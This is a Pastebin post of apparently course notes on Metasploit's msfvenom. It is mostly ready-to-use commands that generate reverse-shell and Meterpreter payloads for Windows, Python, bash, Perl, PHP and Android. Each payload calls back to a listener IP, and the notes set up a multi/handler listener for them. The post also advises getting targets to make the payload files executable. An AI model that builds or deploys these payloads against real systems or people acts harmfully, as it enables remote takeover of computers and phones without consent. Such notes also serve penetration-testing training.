viprajput

G2s9 msfvenom

Jul 16th, 2018
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.56 KB | None | 0 0
  1. Grade 2 Session 9
  2. ===================
  3.  
  4. MSFVENOM : Which createsd payloads and binds up the encoding function in that.
  5. Msfpayload and Msfencoder in 2015 they both get binded up in one single functionality known as MSFVENOM.
  6.  
  7. We use Msfvenom outside the platform of MSFConsole, cause msfconsole will only provides listening on the reverse connection via exploits.
  8.  
  9.  
  10. 1. Application based Payload : Windows (.exe)
  11.  
  12. Microsoft Operating System ---> exe ---> file.exe ---> executable
  13.  
  14.  
  15. msfvenom -p windows/meterpreter/reverse_tcp lport=1337 lhost=192.168.0.80 -f exe > /root/Desktop/lol.exe
  16.  
  17. > which we will make executable
  18.  
  19. 2. Python Based Exploit for Unix/Linux System
  20.  
  21. msfvenom -p cmd/unix/reverse_python lport=1337 lhost=192.168.0.80 -f raw > /root/Desktop/pyth.py
  22.  
  23. Dependencies :
  24. Transfer pyth.py in the target machine.
  25. Ask the target to make it executable by typing
  26. chmod 777 pyth.py
  27.  
  28. 3. Bash Based Payload for Linux/Unix
  29.  
  30. msfvenom -p cmd/unix/reverse_bash lport=1337 lhost=192.168.0.80 -f raw > /root/Desktop/lmao.sh
  31.  
  32. Transfer lmao.sh in the target machine.
  33. Ask the target to make it executable by typing
  34. chmod 777 lmao.sh
  35.  
  36. 4. Perl Based Payload For Linux/Unix (Runs Perfect on MAC)
  37.  
  38. msfvenom -p cmd/unix/reverse_perl lport=1337 lhost=192.168.0.132 -f raw > /root/Desktop/troll.pl
  39.  
  40. Transfer troll.pl in the target machine.
  41. Ask the target to make it executable by typing
  42. chmod 777 troll.pl
  43.  
  44. 5. Creating a PHP Shell For Servers
  45.  
  46. msfvenom -p php/meterpreter/reverse_tcp lport=1337 lhost=192.168.0.132 -f raw > /root/Desktop/website.php
  47.  
  48. 6. Exploit Android/Smart Phones using metasploit using tcp
  49.  
  50. msfvenom -p android/meterpreter/reverse_tcp lport=1337 lhost=192.168.0.132 R > /root/Desktop/mobile.apk
  51.  
  52. 7. Exploit Android/Smart Phones using metasploit using HTTPS
  53.  
  54. msfvenom -p android/meterpreter/reverse_https lport=1337 lhost=192.168.0.132 R > /root/Desktop/phone.apk
  55.  
  56. FOR ALL THESE, USING METASPLOIT FRAMEWORK LISTENER TO LISTEN THE REVERSE CONNECTION :
  57.  
  58. > Open MSF = msfconsole
  59. > Use Exploit = use exploit/multi/handler (A wildcard Exploit which can be used for listening to the reverse connection.)
  60. > msfconsole
  61. use exploit/multi/handler
  62. set payload PAYLOADNAME
  63. show options
  64. set lport PORTADDRESSFORLISTENING
  65. set lhost IPADDRESSFORLISTENING
  66. show options
  67. exploit
  68.  
  69.  
  70. -----------------------------------------------------------------------
  71.  
  72. After Meterpreter,
  73.  
  74. meterpreter> ? (Show Options)
  75. meterpreter> Use Commands
  76.  
  77. -----------------------------------------------------------------------
  78.  
  79. MOBSF (Mobile Security Framework)
Add Comment
Please, Sign In to add comment